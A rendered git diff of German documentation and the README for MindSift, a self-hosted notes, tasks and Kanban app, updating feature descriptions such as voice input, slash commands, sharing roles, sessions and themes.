- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700). - **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
@@ -117,7 +131,7 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
### Notizen ### Notizen
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt. - **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
- **Bilder und Anhänge** in Notizen. - ~~**Bilder und Anhänge** in Notizen.~~ (Umgesetzt in v0.7.0 mit `/image`, `/audio` und Medienablage).
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“). - **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum. - **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
- **Verlinkungs-Graph** auf Basis der Backlinks. - **Verlinkungs-Graph** auf Basis der Backlinks.
@@ -128,7 +142,6 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
### Konto & Sicherheit ### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**. - **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups. - **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert. - **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
+2 -2
View File
@@ -25,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`). - Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen. - **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)). - Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- Bekannte Lücke: (Umsortieren per ID). - **Aufgaben beobachten (`task_watchers`):** Im Detail-Fenster lässt sich eine Aufgabe über „Beobachten“ abonnieren (`POST /tasks/{id}/watch`, `DELETE /tasks/{id}/watch`). Jede Änderung an einer beobachteten Aufgabe wird dem Beobachter über seine konfigurierten Benachrichtigungskanäle gemeldet.
## Wiederkehrende Aufgaben ## Wiederkehrende Aufgaben
@@ -46,7 +46,7 @@ Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offe
| Discord | Webhook-URL | Benutzereinstellungen | | Discord | Webhook-URL | Benutzereinstellungen |
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen | | Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Neben Fälligkeits-Alarmen (die sofort versendet werden) unterstützt MindSift granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben, die über `notification_queue` gebündelt nach `NOTIFY_DIGEST_MINUTES` versendet werden ([architecture.md](../architecture.md#benachrichtigungen)).
**E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt: **E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
+1 -1
View File
@@ -6,7 +6,7 @@ Ziel: Gedanken in Sekunden festhalten und später in Ruhe sortieren. Code: [Inst
- Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld). - Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`). - Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt die Web Speech API des Browsers; Quelle `voice` fügt den Tag `#diktat` an. - Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt `useVoiceInput` (Whisper-Server oder Spracherkennung des Browsers); Quelle `voice` fügt den Tag `#diktat` an.
- Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`). - Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
- Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)). - Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
+7 -4
View File
@@ -1,6 +1,6 @@
# Modul: Workspace (Outliner-Notizen) # Modul: Workspace (Outliner-Notizen)
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockItem.tsx](../../frontend/src/features/workspace/CodeBlockItem.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`. Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockEditor.tsx](../../frontend/src/features/workspace/CodeBlockEditor.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
## Datenhaltung ## Datenhaltung
@@ -15,7 +15,10 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen. - **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück. - **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt. - **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`). - **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code` (mit Syntax-Highlighting im VS-Code-Stil), `/callout`, `/divider`, `/extract` (Ast als eigene Notiz auslagern), `/image` (Bilder einfügen/hochladen, Aliase `/bild`, `/foto`), `/audio` (Sprachnotiz/Audiodatei, Alias `/sprachnotiz`), `/diktat` (Spracheingabe mit Live-Mitschreiben, Alias `/dictate`) (Liste in `OutlinerBlock.tsx`). Das Menü öffnet sich nur am Textanfang oder nach einem Leerzeichen und schließt mit `Esc` oder `Backspace`.
- **Link-Vorschau:** Besteht ein Bulletpoint ausschließlich aus einer einzelnen `https`-Adresse (oder wurde über `/link` in einem leeren Punkt eingefügt), zeigt MindSift darüber eine interaktive Vorschaukarte (`LinkPreviewCard`, serverseitig via `/link-preview`). ✕ blendet die Karte aus und wandelt die Adresse synchronisiert in `[Titel](url)` um.
- **Ast auslagern (`/extract`):** Wandelt den aktuellen Punkt samt Unterpunkten in eine eigenständige Notiz im selben Ordner um. Der Server legt die Notiz an und liefert den Link zurück; der Editor ersetzt den Ast lokal über die Sync-Engine als eigene Operation (Strg+Z nimmt die Auslagerung zurück und legt die neue Notiz via `POST /documents/{id}/extract/undo` in den Papierkorb).
- **Notizen zusammenführen (Merge):** Per Drag & Drop einer Notiz auf eine andere in der Seitenleiste oder über das Drei-Punkte-Menü im Notizkopf („Mit anderer Notiz zusammenführen…“). Die eigene Quellnotiz wird als `h2`-Abschnitt angehängt und in den Papierkorb verschoben; der Hinweis bietet vollständiges Rückgängigmachen (`POST /documents/{id}/merge/undo`).
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`). - **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen. - **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code. - **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
@@ -51,13 +54,13 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
## Freigabe ## Freigabe
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)). - Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen freigeben – wahlweise mit der Rolle **Bearbeiter** (`write`) oder **Leser** (`read`) ([sharing-and-permissions.md](../sharing-and-permissions.md)). Bearbeiter ändern Inhalt und Struktur über die Sync-Engine; Leser sehen Änderungen live.
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt. - Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)). - Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
## Grenzen ## Grenzen
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie. - Keine gleichzeitige Bearbeitung im selben einzelnen Bullet (Sperren pro Bullet und Konfliktkopie statt Zeichen-für-Zeichen-Zusammenführung), keine Cursor-Anzeige fremder Eingaben, keine Versionshistorie.
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*. - Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht. - ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
+2 -2
View File
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
## Sitzungen und Zugriff ## Sitzungen und Zugriff
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`. - Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator. - Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
- Bekannte Lücken in der Zugriffskontrolle:. - Bekannte Lücken in der Zugriffskontrolle: siehe [flaws.md](flaws.md).
+7 -2
View File
@@ -80,8 +80,13 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
| :--- | :--- | :--- | :--- | | :--- | :--- | :--- | :--- |
| `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) | | `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) |
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) | | `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) | | `terracotta` | [`theme-terracotta.css`](../frontend/src/themes/theme-terracotta.css) | Warmes Cremepapier, Tinte, Terrakotta-Akzent, eigene Code-Farben in Erdtönen | Weich (`12px`) |
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) | | `terracotta-night` | [`theme-terracotta-night.css`](../frontend/src/themes/theme-terracotta-night.css) | Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent | Weich (`12px`) |
| `fjord` / `fjord-night` | [`theme-fjord.css`](../frontend/src/themes/theme-fjord.css), [`theme-fjord-night.css`](../frontend/src/themes/theme-fjord-night.css) | Kühles Papier und Gletscherblau / Nachtblau | Weich (`12px`) |
| `polarized-light` | [`theme-polarized-light.css`](../frontend/src/themes/theme-polarized-light.css) | Helles Gegenstück zu Polarized: Mintweiß, Petrol | Eckig (`0px`) |
| `suri-light` | [`theme-suri-light.css`](../frontend/src/themes/theme-suri-light.css) | Helles Gegenstück zu Suri: Lavendel, Pflaume | Weich (`10px`) |
Die eingebauten Themes sind in Farbfamilien mit je einer hellen und dunklen Variante gruppiert (`THEME_FAMILIES` in [`theme.ts`](../frontend/src/lib/theme.ts)). Pro Gerät lassen sich unter Darstellung zusätzlich einstellen: Hell/Dunkel „Wie System“ (wechselt innerhalb der Familie), Ecken (`data-corners="round|square"` überschreibt die `--radius-*`-Werte), Rahmen an Knöpfen (`data-button-borders="off"`) und eine eigene Akzentfarbe (setzt `--accent-*` direkt am Wurzelelement). Code-Farben in `index.css` sind nur Rückfallwerte (`:where(...)`), die `--code-*`-Werte eines Themes gewinnen immer.
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) | | `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) | | `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar | | *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
+2 -2
View File
@@ -73,9 +73,9 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx) Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus. - **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript. - **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über `useVoiceInput` (im Server-Modus per Whisper mit echten Pegel-Wellen, sonst über die Spracherkennung des Browsers). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`). - **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`). - **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein. - **Fallback:** Ist die Spracheingabe abgeschaltet (`STT_DISABLED=true`), unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
+68 -26
View File
@@ -6,14 +6,16 @@
[![Self-Hosted](https://img.shields.io/badge/100%25-Self--Hosted-2563eb?style=flat-square)](#) [![Self-Hosted](https://img.shields.io/badge/100%25-Self--Hosted-2563eb?style=flat-square)](#)
[![Docker](https://img.shields.io/badge/Deployment-Single%20Container-2496ed?style=flat-square&logo=docker&logoColor=white)](#-schnellstart) [![Docker](https://img.shields.io/badge/Deployment-Single%20Container-2496ed?style=flat-square&logo=docker&logoColor=white)](#-schnellstart)
[![SQLite](https://img.shields.io/badge/Daten-SQLite-003b57?style=flat-square&logo=sqlite&logoColor=white)](#-deine-daten-gehören-dir) [![SQLite](https://img.shields.io/badge/Daten-SQLite-003b57?style=flat-square&logo=sqlite&logoColor=white)](#-deine-daten-gehören-dir)
[![Version](https://img.shields.io/badge/Version-v0.4-16a34a?style=flat-square)](#-schnellstart) [![Version](https://img.shields.io/badge/Version-v0.22.0-16a34a?style=flat-square)](CHANGELOG.md)
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server. **MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
<p align="center"> <p align="center">
<img src="screenshots/Triage_desktop.png" alt="MindSift Triage Desktop" width="85%" /> <img src="screenshots/Triage_desktop.png" alt="MindSift Triage am Desktop, links hell, rechts dunkel" width="85%" />
</p> </p>
<sub>Links das helle, rechts das dunkle Theme.</sub>
[Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation) [Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation)
</div> </div>
@@ -34,22 +36,29 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
### ⚡ Schnellerfassung & Triage ### ⚡ Schnellerfassung & Triage
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion). * Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)); auf Smartphones auch per Gedrückthalten des `+`-Knopfs (Hold-to-Record mit Pegel-Wellen).
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz. * Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste. * **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste oder über große Knöpfe unter der Karte; die Warteschlange klappt bei Bedarf auf.
* **Teilen aus anderen Apps:** Als installierte App erscheint MindSift im Teilen-Menü des Smartphones; geteilte Texte und Links landen im Posteingang und lassen sich direkt danach mit einem Tipp zur Aufgabe oder auf eine Liste schicken.
* Papierkorb mit Wiederherstellen. * Papierkorb mit Wiederherstellen.
<p align="center"> <p align="center">
<img src="screenshots/Mobile_Triage.png" alt="MindSift Mobile Triage" width="280px" /> <img src="screenshots/Mobile_Triage.png" alt="MindSift Triage am Smartphone, helles Theme" width="280px" />
&nbsp;&nbsp;
<img src="screenshots/Mobile_Workspace.png" alt="MindSift Notiz am Smartphone, dunkles Theme" width="280px" />
</p> </p>
### ✅ Aufgaben & Kanban ### ✅ Aufgaben & Kanban
* Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar. * Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar.
* Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen. * Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board. * Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board, auch auf den Reiter einer anderen Aufgabenliste.
* **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**. * **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
* **Alarme** bei Fälligkeit per E-Mail, Discord oder eigenem Webhook. * **Aufgaben beobachten:** Beliebige Aufgaben per Klick abonnieren, um über alle Änderungen informiert zu werden.
* **Wiederholungen:** Wiederkehrende Aufgaben (täglich, wöchentlich, monatlich, jährlich) mit automatischer Folgeaufgabe beim Abhaken.
* **Tageszusammenfassung:** Tägliche Übersicht fälliger Aufgaben zur selbst gewählten Uhrzeit per E-Mail, Discord, eigenem Webhook oder Push.
* **Push-Benachrichtigungen** auf Handy und Desktop (auch bei geschlossener App; iPhone/iPad als Home-Bildschirm-App), als eigener Kanal je Ereignis.
* **Alarme & Benachrichtigungen:** Fälligkeits-Alarme sofort, alle übrigen Ereignisse (Freigaben, erledigte geteilte Aufgaben, beobachtete Aufgaben) gebündelt; pro Ereignis wählbar über E-Mail, Discord, eigenen Webhook und Push.
<p align="center"> <p align="center">
<img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" /> <img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
@@ -57,30 +66,38 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
### 📝 Workspace: Outliner-Notizen ### 📝 Workspace: Outliner-Notizen
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste. * Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste; am Handy eine Leiste über der Tastatur zum Ein-/Ausrücken und Verschieben.
* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren. * **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren; **Fokus-Modus** (`Strg+Umschalt+F`) zeigt nur die Notiz in Lesebreite, Ordner gleiten bei Bedarf von links herein.
* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`. * **Journal:** eine Notiz pro Tag, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach), mit Kalender zum Springen; einzelne Tage lassen sich teilen. Pro Gerät abschaltbar.
* Wiki-Links `[[Notiz]]`, Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen. * Blocktypen und Slash-Befehle: `/todo`, `/number` (nummerierte Liste: 1., a., i.), `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`, `/extract`, `/image`, `/audio`, `/diktat`.
* **Bilder & Audio in Notizen:** `/image` (Datei, Kamera, Zwischenablage oder Link), `/audio` (Sprachnotiz oder Datei-Upload) und `/diktat` (Live-Transkription).
